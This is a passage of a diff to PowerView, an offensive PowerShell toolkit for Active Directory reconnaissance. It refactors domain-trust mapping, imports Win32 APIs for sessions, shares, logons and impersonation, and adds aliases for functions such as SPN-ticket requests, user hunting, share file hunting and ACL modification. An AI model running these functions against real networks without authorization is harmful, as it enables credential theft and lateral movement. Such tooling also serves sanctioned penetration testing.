($PSBoundParameters['SearchBase']) { $DomainTrustArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $DomainTrustArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $DomainTrustArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $DomainTrustArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $DomainTrustArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $DomainTrustArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $DomainTrustArguments['Credential'] = $Credential } + # get the current domain and push it onto the stack - $CurrentDomain = (Get-NetDomain -Credential $Credential).Name - $Domains.push($CurrentDomain) + if ($PSBoundParameters['Credential']) { + $CurrentDomain = (Get-Domain -Credential $Credential).Name + } + else { + $CurrentDomain = (Get-Domain).Name + } + $Domains.Push($CurrentDomain) while($Domains.Count -ne 0) { $Domain = $Domains.Pop() # if we haven't seen this domain before - if ($Domain -and ($Domain.Trim() -ne "") -and (-not $SeenDomains.ContainsKey($Domain))) { - - Write-Verbose "Enumerating trusts for domain '$Domain'" + if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) { + + Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'" # mark it as seen in our list - $Null = $SeenDomains.add($Domain, "") + $Null = $SeenDomains.Add($Domain, '') try { # get all the trusts for this domain - if($LDAP -or $DomainController) { - $Trusts = Get-NetDomainTrust -Domain $Domain -LDAP -DomainController $DomainController -PageSize $PageSize -Credential $Credential - } - else { - $Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize -Credential $Credential - } + $DomainTrustArguments['Domain'] = $Domain + $Trusts = Get-DomainTrust @DomainTrustArguments - if($Trusts -isnot [System.Array]) { + if ($Trusts -isnot [System.Array]) { $Trusts = @($Trusts) } # get any forest trusts, if they exist - if(-not ($LDAP -or $DomainController) ) { - $Trusts += Get-NetForestTrust -Forest $Domain -Credential $Credential + if ($PsCmdlet.ParameterSetName -eq 'LDAP') { + $ForestTrustArguments = @{} + if ($PSBoundParameters['Forest']) { $ForestTrustArguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $ForestTrustArguments['Credential'] = $Credential } + $Trusts += Get-ForestTrust @ForestTrustArguments } if ($Trusts) { - if($Trusts -isnot [System.Array]) { + if ($Trusts -isnot [System.Array]) { $Trusts = @($Trusts) } # enumerate each trust found ForEach ($Trust in $Trusts) { - if($Trust.SourceName -and $Trust.TargetName) { - $SourceDomain = $Trust.SourceName - $TargetDomain = $Trust.TargetName - $TrustType = $Trust.TrustType - $TrustDirection = $Trust.TrustDirection - $ObjectType = $Trust.PSObject.TypeNames | Where-Object {$_ -match 'PowerView'} | Select-Object -First 1 - + if ($Trust.SourceName -and $Trust.TargetName) { # make sure we process the target - $Null = $Domains.Push($TargetDomain) - - # build the nicely-parsable custom output object - $DomainTrust = New-Object PSObject - $DomainTrust | Add-Member Noteproperty 'SourceDomain' "$SourceDomain" - $DomainTrust | Add-Member Noteproperty 'SourceSID' $Trust.SourceSID - $DomainTrust | Add-Member Noteproperty 'TargetDomain' "$TargetDomain" - $DomainTrust | Add-Member Noteproperty 'TargetSID' $Trust.TargetSID - $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustType" - $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$TrustDirection" - $DomainTrust.PSObject.TypeNames.Add($ObjectType) - $DomainTrust + $Null = $Domains.Push($Trust.TargetName) + $Trust } } } } catch { - Write-Verbose "[!] Error: $_" + Write-Verbose "[Get-DomainTrustMapping] Error: $_" } } } @@ -13274,33 +18435,15 @@ function Invoke-MapDomainTrust { ######################################################## # # Expose the Win32API functions and datastructures below -# using PSReflect. -# Warning: Once these are executed, they are baked in +# using PSReflect. +# Warning: Once these are executed, they are baked in # and can't be changed while the script is running! # ######################################################## $Mod = New-InMemoryModule -ModuleName Win32 -# all of the Win32 API functions we need -$FunctionDefinitions = @( - (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), - (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), - (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), - (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), - (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError), - (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), - (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), - (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), - (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), - (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), - (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), - (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])) -) +# [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', Scope='Function', Target='psenum')] # enum used by $WTS_SESSION_INFO_1 below $WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{ @@ -13317,7 +18460,7 @@ $WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{ } # the WTSEnumerateSessionsEx result structure -$WTS_SESSION_INFO_1 = struct $Mod WTS_SESSION_INFO_1 @{ +$WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{ ExecEnvId = field 0 UInt32 State = field 1 $WTSConnectState SessionId = field 2 UInt32 @@ -13335,26 +18478,26 @@ $WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{ } # the NetShareEnum result structure -$SHARE_INFO_1 = struct $Mod SHARE_INFO_1 @{ - shi1_netname = field 0 String -MarshalAs @('LPWStr') - shi1_type = field 1 UInt32 - shi1_remark = field 2 String -MarshalAs @('LPWStr') +$SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{ + Name = field 0 String -MarshalAs @('LPWStr') + Type = field 1 UInt32 + Remark = field 2 String -MarshalAs @('LPWStr') } # the NetWkstaUserEnum result structure -$WKSTA_USER_INFO_1 = struct $Mod WKSTA_USER_INFO_1 @{ - wkui1_username = field 0 String -MarshalAs @('LPWStr') - wkui1_logon_domain = field 1 String -MarshalAs @('LPWStr') - wkui1_oth_domains = field 2 String -MarshalAs @('LPWStr') - wkui1_logon_server = field 3 String -MarshalAs @('LPWStr') +$WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{ + UserName = field 0 String -MarshalAs @('LPWStr') + LogonDomain = field 1 String -MarshalAs @('LPWStr') + AuthDomains = field 2 String -MarshalAs @('LPWStr') + LogonServer = field 3 String -MarshalAs @('LPWStr') } # the NetSessionEnum result structure -$SESSION_INFO_10 = struct $Mod SESSION_INFO_10 @{ - sesi10_cname = field 0 String -MarshalAs @('LPWStr') - sesi10_username = field 1 String -MarshalAs @('LPWStr') - sesi10_time = field 2 UInt32 - sesi10_idle_time = field 3 UInt32 +$SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{ + CName = field 0 String -MarshalAs @('LPWStr') + UserName = field 1 String -MarshalAs @('LPWStr') + Time = field 2 UInt32 + IdleTime = field 3 UInt32 } # enum used by $LOCALGROUP_MEMBERS_INFO_2 below @@ -13370,6 +18513,12 @@ $SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{ SidTypeComputer = 9 } +# the NetLocalGroupEnum result structure +$LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{ + lgrpi1_name = field 0 String -MarshalAs @('LPWStr') + lgrpi1_comment = field 1 String -MarshalAs @('LPWStr') +} + # the NetLocalGroupGetMembers result structure $LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{ lgrmi2_sid = field 0 IntPtr @@ -13414,7 +18563,101 @@ $DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{ DomainGuid = field 7 Guid } +# used by WNetAddConnection2W +$NETRESOURCEW = struct $Mod NETRESOURCEW @{ + dwScope = field 0 UInt32 + dwType = field 1 UInt32 + dwDisplayType = field 2 UInt32 + dwUsage = field 3 UInt32 + lpLocalName = field 4 String -MarshalAs @('LPWStr') + lpRemoteName = field 5 String -MarshalAs @('LPWStr') + lpComment = field 6 String -MarshalAs @('LPWStr') + lpProvider = field 7 String -MarshalAs @('LPWStr') +} + +# all of the Win32 API functions we need +$FunctionDefinitions = @( + (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), + (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), + (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), + (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), + (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError), + (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), + (func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError), + (func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError), + (func advapi32 RevertToSelf ([Bool]) @() -SetLastError), + (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), + (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), + (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), + (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), + (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), + (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])), + (func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])), + (func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])), + (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError) +) + $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Netapi32 = $Types['netapi32'] $Advapi32 = $Types['advapi32'] $Wtsapi32 = $Types['wtsapi32'] +$Mpr = $Types['Mpr'] +$Kernel32 = $Types['kernel32'] + +Set-Alias Get-IPAddress Resolve-IPAddress +Set-Alias Convert-NameToSid ConvertTo-SID +Set-Alias Convert-SidToName ConvertFrom-SID +Set-Alias Request-SPNTicket Get-DomainSPNTicket +Set-Alias Get-DNSZone Get-DomainDNSZone +Set-Alias Get-DNSRecord Get-DomainDNSRecord +Set-Alias Get-NetDomain Get-Domain +Set-Alias Get-NetDomainController Get-DomainController +Set-Alias Get-NetForest Get-Forest +Set-Alias Get-NetForestDomain Get-ForestDomain +Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog +Set-Alias Get-NetUser Get-DomainUser +Set-Alias Get-UserEvent Get-DomainUserEvent +Set-Alias Get-NetComputer Get-DomainComputer +Set-Alias Get-ADObject Get-DomainObject +Set-Alias Set-ADObject Set-DomainObject +Set-Alias Get-ObjectAcl Get-DomainObjectAcl +Set-Alias Add-ObjectAcl Add-DomainObjectAcl +Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl +Set-Alias Get-GUIDMap Get-DomainGUIDMap +Set-Alias Get-NetOU Get-DomainOU +Set-Alias Get-NetSite Get-DomainSite +Set-Alias Get-NetSubnet Get-DomainSubnet +Set-Alias Get-NetGroup Get-DomainGroup +Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup +Set-Alias Get-NetGroupMember Get-DomainGroupMember +Set-Alias Get-NetFileServer Get-DomainFileServer +Set-Alias Get-DFSshare Get-DomainDFSShare +Set-Alias Get-NetGPO Get-DomainGPO +Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup +Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping +Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMappin +Set-Alias Get-LoggedOnLocal Get-RegLoggedOn +Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess +Set-Alias Get-SiteName Get-NetComputerSiteName +Set-Alias Get-Proxy Get-WMIRegProxy +Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn +Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection +Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive +Set-Alias Get-NetProcess Get-WMIProcess +Set-Alias Invoke-ThreadedFunction New-ThreadedFunction +Set-Alias Invoke-UserHunter Find-DomainUserLocation +Set-Alias Invoke-ProcessHunter Find-DomainProcess +Set-Alias Invoke-EventHunter Find-DomainUserEvent +Set-Alias Invoke-ShareFinder Find-DomainShare +Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile +Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember +Set-Alias Get-NetDomainTrust Get-DomainTrust +Set-Alias Get-NetForestTrust Get-ForestTrust +Set-Alias Find-ForeignUser Get-DomainForeignUser +Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember +Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping |